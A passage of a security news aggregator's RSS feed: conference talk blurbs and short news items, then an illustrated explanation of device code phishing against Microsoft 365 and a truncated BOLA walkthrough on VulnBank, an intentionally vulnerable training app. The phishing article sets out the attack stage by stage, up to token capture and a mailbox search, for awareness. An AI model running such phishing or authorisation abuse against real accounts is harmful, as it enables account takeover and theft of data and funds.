The data collected is now helping support wider wildlife research and improve understanding of hedgehog rehabilitation and behaviour. Underneath all the electronics, the real goal is simple: gathering better data to help hedgehogs survive and thrive.

Caution: this talk contains dangerously high levels of hedgehog cuteness, surprising wildlife stories, and a few simple ways people can help hedgehogs in their own gardens.

If you enjoy scrappy engineering, open hardware, wildlife, or watching hobby projects escalate dramatically, this talk is for you.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/209-two-hobbyists-a-hedgehog-rescue]]></content:encoded>
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<title><![CDATA[Behind the Curtain: Inside the Hidden Tech of Live Theatre and Events (emf2026)]]></title>
<description><![CDATA[What happens when the lights go out, the flames shoot up, and the performer flies over the audience? None of it is magic - it’s a remarkably deep stack of engineering, software, and controlled chaos, and almost none of it is visible to the audience.

 This talk pulls back the curtain on the techn...]]></description>
<link>https://tsecurity.de/de/3678201/it-security-video/behind-the-curtain-inside-the-hidden-tech-of-live-theatre-and-events-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678201/it-security-video/behind-the-curtain-inside-the-hidden-tech-of-live-theatre-and-events-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 17:33:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What happens when the lights go out, the flames shoot up, and the performer flies over the audience? None of it is magic - it’s a remarkably deep stack of engineering, software, and controlled chaos, and almost none of it is visible to the audience.

 This talk pulls back the curtain on the technology powering professional theatre and live events - from West End productions to outdoor festivals. We’ll cover the full picture: how sACN and Art-Net carry hundreds of DMX universes from console to fixture; how show control systems tie lighting, audio, video, and automation together with sub-millisecond precision; how stage rigging and flying systems work (and what actually keeps performers safe in the air); how pyrotechnics are engineered for precise timing, reliable ignition, and zero-failure fault tolerance; and how modern video infrastructure - PTZ cameras, SDI, AV-over-IP - comes together live with no second takes. 

Along the way we’ll dig into the networking and software glue that holds it all together: AES67 audio-over-IP, timecode, OSC, MIDI show control, video-over-IP, and the eternal cursed nightmare of clock synchronisation. 

Whether you’ve wondered what’s actually in that rack at side of stage, or you want to understand how the world’s largest productions are really engineered, this talk is for you.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/53-behind-the-curtain-inside-the-hidden-tech-of-live-theatre]]></content:encoded>
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<title><![CDATA[A 3 million dollar question: how fast does a muon wobble? (emf2026)]]></title>
<description><![CDATA[The Muon g-2 experiment recently made the most precise measurement ever carried out with a particle accelerator: how fast muons "wobble" when put near a magnet. This measurement is so precise, it opened up gaps in our understanding of the universe, and was awarded the $3M Breakthrough Prize in Fu...]]></description>
<link>https://tsecurity.de/de/3678158/it-security-video/a-3-million-dollar-question-how-fast-does-a-muon-wobble-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678158/it-security-video/a-3-million-dollar-question-how-fast-does-a-muon-wobble-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 16:47:52 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Muon g-2 experiment recently made the most precise measurement ever carried out with a particle accelerator: how fast muons &quot;wobble&quot; when put near a magnet. This measurement is so precise, it opened up gaps in our understanding of the universe, and was awarded the $3M Breakthrough Prize in Fundamental Physics in 2026.
As one of the researchers involved, I'll explain what a muon is, how the experiment worked, what it told us, and how such an esoteric measurement went right to the heart of the Standard Model of Particle Physics and how the strange quantum universe really works.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/173-a-3-million-dollar-question-how-fast-does-a-muon-wobble]]></content:encoded>
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<title><![CDATA[Ukraine reveals secret strike squadron of civilian planes transformed into deadly reusable drone bombers that can drop 100Kg bombs 1200 miles deep inside Russia]]></title>
<description><![CDATA[Ukraine revealed reusable Horynych bomber drones converted from civilian aircraft following a reported strike against Russian military infrastructure near Crimea.]]></description>
<link>https://tsecurity.de/de/3678045/it-nachrichten/ukraine-reveals-secret-strike-squadron-of-civilian-planes-transformed-into-deadly-reusable-drone-bombers-that-can-drop-100kg-bombs-1200-miles-deep-inside-russia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678045/it-nachrichten/ukraine-reveals-secret-strike-squadron-of-civilian-planes-transformed-into-deadly-reusable-drone-bombers-that-can-drop-100kg-bombs-1200-miles-deep-inside-russia/</guid>
<pubDate>Sat, 18 Jul 2026 15:18:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ukraine revealed reusable Horynych bomber drones converted from civilian aircraft following a reported strike against Russian military infrastructure near Crimea.]]></content:encoded>
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<title><![CDATA['A dangerous proposition': How AI is warping the social fabric and the ways we collectively imagine the future]]></title>
<description><![CDATA[In this excerpt from "Predicted: How AI Is Restructuring Social Life," author Mona Sloane examines how artificial intelligence is reconfiguring our understanding of the world and how we imagine the future.]]></description>
<link>https://tsecurity.de/de/3678026/ai-nachrichten/a-dangerous-proposition-how-ai-is-warping-the-social-fabric-and-the-ways-we-collectively-imagine-the-future/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678026/ai-nachrichten/a-dangerous-proposition-how-ai-is-warping-the-social-fabric-and-the-ways-we-collectively-imagine-the-future/</guid>
<pubDate>Sat, 18 Jul 2026 15:03:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this excerpt from "Predicted: How AI Is Restructuring Social Life," author Mona Sloane examines how artificial intelligence is reconfiguring our understanding of the world and how we imagine the future.]]></content:encoded>
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<title><![CDATA[Automated Game Hacking: Adding Procedural Generation to a Classic RPG (emf2026)]]></title>
<description><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also b...]]></description>
<link>https://tsecurity.de/de/3678022/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678022/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:03:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also break down how I reverse-engineered the game's scripting language to transform it into a true open-world adventure.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/100-automated-game-hacking]]></content:encoded>
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<title><![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]></title>
<description><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterr...]]></description>
<link>https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:33:10 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterrestrial encounters.

From building trust and creating safe spaces using Feng Shui, to understanding behaviours in their context, and realising when humans are the challenge.

Guaranteed to include cute dog pictures (and the odd cat picture).

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/224-the-guidebook-to-successful-alien-contact]]></content:encoded>
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<title><![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]></title>
<description><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterr...]]></description>
<link>https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:17:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What can fostering rescue dogs teach us about first contact with aliens? A lot.

Through the stories of dogs, including brothers Percy and Alfie (think ‘Twins’ Schwarzenegger and DeVito levels of familial resemblance), we'll discover lessons that apply equally to dogs, cats, people, and extraterrestrial encounters.

From building trust and creating safe spaces using Feng Shui, to understanding behaviours in their context, and realising when humans are the challenge.

Guaranteed to include cute dog pictures (and the odd cat picture).

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/224-the-guidebook-to-successful-alien-contact]]></content:encoded>
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<title><![CDATA[North Korean agent looking for a job (emf2026)]]></title>
<description><![CDATA[Since COVID, there has been a surge in fraud as a result of remote work. And naturally, the DPRK wants to be in on it. 

When I opened up some remote roles a while ago I was flooded with thousands of applications, that looked somewhat similar.

I then did what any cyber security professional woul...]]></description>
<link>https://tsecurity.de/de/3677948/it-security-video/north-korean-agent-looking-for-a-job-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677948/it-security-video/north-korean-agent-looking-for-a-job-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:03:27 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Since COVID, there has been a surge in fraud as a result of remote work. And naturally, the DPRK wants to be in on it. 

When I opened up some remote roles a while ago I was flooded with thousands of applications, that looked somewhat similar.

I then did what any cyber security professional would do: I did some deep digging into the operation.

Uncovering greenscreen computer vision usage to pass identity verification
Laptop mules on US soil
Use of questionable VPNs and KVMs to control remote devices
Exposing what they would do when they get access to your internal tools

Why they do it and the degrees of damage they are willing to do.
Exposing some never talked about before details about the investigation that resulted in 29 property searches, 5 arrests and imprisonments of enemies of the state.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/215-north-korean-agent-looking-for-a-job]]></content:encoded>
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<title><![CDATA[Automated Game Hacking: Adding Procedural Generation to a Classic RPG (emf2026)]]></title>
<description><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also b...]]></description>
<link>https://tsecurity.de/de/3677946/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677946/it-security-video/automated-game-hacking-adding-procedural-generation-to-a-classic-rpg-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:03:25 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ever wanted to replay your favorite game like it's the first time? We'll dive into the unique game design and balance challenges I encountered while building a randomizer for Final Fantasy I: Dawn of Souls. Game randomizers use procedural generation to automatically create a rom hack. I'll also break down how I reverse-engineered the game's scripting language to transform it into a true open-world adventure.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/100-automated-game-hacking]]></content:encoded>
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<title><![CDATA[North Korean agent looking for a job (emf2026)]]></title>
<description><![CDATA[Since COVID, there has been a surge in fraud as a result of remote work. And naturally, the DPRK wants to be in on it. 

When I opened up some remote roles a while ago I was flooded with thousands of applications, that looked somewhat similar.

I then did what any cyber security professional woul...]]></description>
<link>https://tsecurity.de/de/3677925/it-security-video/north-korean-agent-looking-for-a-job-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677925/it-security-video/north-korean-agent-looking-for-a-job-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 13:48:04 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Since COVID, there has been a surge in fraud as a result of remote work. And naturally, the DPRK wants to be in on it. 

When I opened up some remote roles a while ago I was flooded with thousands of applications, that looked somewhat similar.

I then did what any cyber security professional would do: I did some deep digging into the operation.

Uncovering greenscreen computer vision usage to pass identity verification
Laptop mules on US soil
Use of questionable VPNs and KVMs to control remote devices
Exposing what they would do when they get access to your internal tools

Why they do it and the degrees of damage they are willing to do.
Exposing some never talked about before details about the investigation that resulted in 29 property searches, 5 arrests and imprisonments of enemies of the state.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/215-north-korean-agent-looking-for-a-job]]></content:encoded>
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<title><![CDATA[wp2shell – Code Trace Deep Dive]]></title>
<description><![CDATA[wp2shell carries two CVEs (so far); CVE-2026-63030 & CVE-2026-60137. This article has been indexed from ZephrSec – Adventures In Information Security Read the original article: wp2shell – Code Trace Deep Dive
Read more →
The post wp2shell – Code Trace Deep Dive appeared first on IT Security News.]]></description>
<link>https://tsecurity.de/de/3677918/it-security-nachrichten/wp2shell-code-trace-deep-dive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677918/it-security-nachrichten/wp2shell-code-trace-deep-dive/</guid>
<pubDate>Sat, 18 Jul 2026 13:37:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>wp2shell carries two CVEs (so far); CVE-2026-63030 &amp; CVE-2026-60137. This article has been indexed from ZephrSec – Adventures In Information Security Read the original article: wp2shell – Code Trace Deep Dive</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/wp2shell-code-trace-deep-dive/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/wp2shell-code-trace-deep-dive/">wp2shell – Code Trace Deep Dive</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA["Personally very difficult, and very difficult for our teams." —Bethesda's Todd Howard discusses Microsoft's deep Xbox cuts, and finding optimism for the industry's future]]></title>
<description><![CDATA[Todd Howard spoke to us on Xbox's big cuts, and how Elder Scrolls and Fallout will survive the big game industry shifts.]]></description>
<link>https://tsecurity.de/de/3677829/windows-tipps/personally-very-difficult-and-very-difficult-for-our-teams-bethesdas-todd-howard-discusses-microsofts-deep-xbox-cuts-and-finding-optimism-for-the-industrys-future/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677829/windows-tipps/personally-very-difficult-and-very-difficult-for-our-teams-bethesdas-todd-howard-discusses-microsofts-deep-xbox-cuts-and-finding-optimism-for-the-industrys-future/</guid>
<pubDate>Sat, 18 Jul 2026 12:26:37 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Todd Howard spoke to us on Xbox's big cuts, and how Elder Scrolls and Fallout will survive the big game industry shifts.]]></content:encoded>
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<title><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]></title>
<description><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your PasswordThe most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why tra...]]></description>
<link>https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OVpY6KkTRyuVGErNrEOnw.png"></figure><p>The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.</p><p>Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWV-Evt-XtPkaXDpCmwEVg.png"><figcaption>At first glance, this page looks completely legitimate.</figcaption></figure><p>It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.</p><p>So, it must be safe… right?</p><p>Not necessarily.</p><p>Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.</p><p>In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.</p><h3>What is Device Code Authentication?</h3><p>Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.</p><p>Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.</p><p>Instead of entering credentials directly on the device, Microsoft generates a short verification code.</p><p>The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.</p><p>The authenticated session is then linked back to the requesting application.</p><p>This workflow is completely legitimate and is widely used by Microsoft-supported applications.</p><p>Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.</p><h3>How Device Code Phishing Works</h3><p>Unlike traditional phishing attacks, Device Code Phishing does <strong>not</strong> steal passwords.</p><p>Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.</p><p>The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.</p><p><strong>Stage 1 — The Phishing Email</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAn7mYR2AdzzB3hwopRHjw.png"><figcaption>Initial Phishing Email</figcaption></figure><p>The attack usually begins with a convincing phishing email.</p><p>In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account immediately.</p><p>The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.</p><p>Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.</p><p>This subtle difference is what makes Device Code Phishing particularly dangerous.</p><p><strong>Stage 2 — The Fake Verification Portal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AojoCLPiwGgkLGcDH88gRA.png"><figcaption>Device Code Phishing Page</figcaption></figure><p>After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.</p><p>The page displays:</p><ul><li>A Microsoft verification code</li><li>Instructions explaining how to complete authentication</li><li>A button that automatically opens Microsoft’s legitimate Device Login page</li></ul><p>Everything appears authentic.</p><p>Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.</p><p>Instead, it simply instructs the user to authenticate through Microsoft itself.</p><p>This dramatically increases trust.</p><p><strong>Stage 3 — Redirecting to Microsoft’s Official Login Page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxT4KVaMxg7heCzDMx58Bg.png"><figcaption>Official Microsoft Device Login</figcaption></figure><p>Clicking the verification button redirects the victim to Microsoft’s official Device Login page.</p><p>Notice the URL.</p><p>The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com</p><p>This is not a fake login page.</p><p>This is Microsoft’s real authentication portal.</p><p>Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.</p><p><strong>Stage 4 — Entering the Device Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFq44SaoP4Gcy7Y_7QxXHA.png"><figcaption>Microsoft Device Authentication</figcaption></figure><p>The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.</p><p>At this point, everything still appears normal.</p><p>The authentication process is entirely handled by Microsoft.</p><p>No passwords have been stolen.</p><p>No fake login page has been displayed.</p><p>Yet the attacker is already one step closer to gaining access.</p><p><strong>Stage 5 — Microsoft Requests Account Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3m7P_UTRW5Zprk35ydVMA.png"><figcaption>Account Selection</figcaption></figure><p>Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.</p><p>Again, this occurs entirely on Microsoft’s legitimate infrastructure.</p><p>Nothing appears suspicious.</p><p>Most users assume they are completing a routine Microsoft verification process.</p><p><strong>Stage 6 — Granting Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew9Rlt7lKtc3NSjGugG7CQ.png"><figcaption>Authorization Prompt</figcaption></figure><p>Microsoft now asks the user to confirm the authentication request.</p><p>The victim clicks <strong>Continue</strong>, believing they are protecting or verifying their Microsoft account.</p><p>Instead, they are unknowingly authorizing an attacker-controlled application.</p><p><strong>Stage 7 — Authentication Complete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyN4hx6sY5t0rM_KDsBFw.png"><figcaption>Successful Authorization</figcaption></figure><p>Microsoft confirms that authentication has completed successfully.</p><p>From the victim’s perspective, everything appears perfectly normal.</p><p>There are no error messages.</p><p>No warnings.</p><p>No indication that their Microsoft session has now been shared with someone else.</p><h4>Stage 8 — The Attacker Receives the Access Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNu8X_BbbhhP4XFhhrqC6Q.png"><figcaption>Attacker Token Captured dashboard</figcaption></figure><p>Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.</p><p>Unlike traditional phishing attacks, the attacker never needed the victim’s password.</p><p>Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.</p><p><strong>Stage 9 — Accessing Microsoft Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqRMWz0deomvWmiCV1QAag.png"><figcaption>Searching Microsoft Graph Data</figcaption></figure><p>Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.</p><p>Depending on the permissions available, this may allow access to resources such as:</p><ul><li>Outlook email</li><li>OneDrive files</li><li>SharePoint data</li><li>Microsoft Teams information</li><li>Other Microsoft 365 resources</li></ul><p>In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.</p><h3>Why Device Code Phishing Is So Effective</h3><p>Traditional phishing relies on fake login pages.</p><p>Device Code Phishing is different.</p><p>The victim authenticates directly with Microsoft.</p><p>Every important step occurs on Microsoft’s legitimate domain.</p><p>This removes many of the indicators users have been trained to recognize.</p><p>There are:</p><ul><li>No fake Microsoft login pages.</li><li>No stealing of passwords.</li><li>No cloned authentication forms.</li><li>No obvious browser warnings.</li></ul><p>Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.</p><h3>Why This Matters</h3><p>Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.</p><h3>How to Protect Yourself</h3><p>Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.</p><h4>Never authenticate unless you initiated the request.</h4><p>If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.</p><h4>Check why you are being asked to authenticate.</h4><p>Ask yourself:</p><ul><li>Did I start this login?</li><li>Am I trying to sign in on another device?</li><li>Was I expecting this authentication request?</li></ul><p>If the answer is no, do not continue.</p><h4>Be cautious of urgent security emails.</h4><p>Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.</p><h4>Review recently authorized applications.</h4><p>Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.</p><h4>Revoke active sessions if you suspect compromise.</h4><p>If you believe you accidentally completed a Device Code Phishing request:</p><ul><li>Immediately sign out of all active Microsoft sessions.</li><li>Revoke recently granted application permissions.</li><li>Change your Microsoft account password.</li><li>Inform your organization’s IT or Security team.</li><li>Review your recent sign-in activity for any suspicious access.</li></ul><p>Acting quickly can significantly reduce the impact of token-based attacks.</p><h3>Conclusion</h3><p>Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.</p><p>By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.</p><p>This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.</p><p>Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.</p><p>As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfa189643f45" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without-cfa189643f45">Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]></title>
<description><![CDATA[A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBankVulnBankThere’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’...]]></description>
<link>https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTehjKwtISkTLR8KwRRrRw.png"><figcaption>VulnBank</figcaption></figure><p>There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually <em>did</em>. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.</p><p>This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in <strong>VulnBank</strong>, an intentionally vulnerable banking application built for security training.</p><h3>What Is BOLA, Actually?</h3><p>Broken Object Level Authorization sits at <strong>#1 </strong>on the <strong>OWASP API Security Top 10 </strong>(API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.</p><p>The core idea in one sentence: <strong>the server correctly checks who you are, but never checks what you’re allowed to touch.</strong></p><p>Any API endpoint that takes an object identifier — a <strong>card_id</strong>, <strong>account_number</strong>, <strong>order_id </strong>— needs to answer two separate questions:</p><ol><li><strong>Authentication: </strong>is this a valid, logged-in user?</li><li><strong>Authorization: </strong>should <em>this </em><strong><em>specific user</em> </strong>be allowed to access <em>this specific object</em>?</li></ol><p>BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.</p><p>The vulnerable version:</p><pre>SELECT * FROM cards WHERE id = :card_id</pre><p>The fixed version:</p><pre>SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id</pre><p>That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.</p><p>So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.</p><h3>Setting the Stage: Two Users, Two Cards</h3><p>Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.</p><h3><strong>User 1 — Jhonny</strong></h3><ul><li>I created a virtual card with a <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IzNdvQ1HNkbGSk9AEz70FQ.png"><figcaption>Jhonny’s Virtual Card</figcaption></figure><ul><li>I then funded it with <strong>$80 </strong>from the main balance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*yyZLbn89enTTeEBs4gSKow.png"><figcaption>Funding the card</figcaption></figure><p>With the funding request captured in <strong>Burp Suite</strong>, I sent it to Repeater for closer inspection, this is the request whose <strong>card_id </strong>parameter would become the centerpiece of the whole test.</p><figure><img 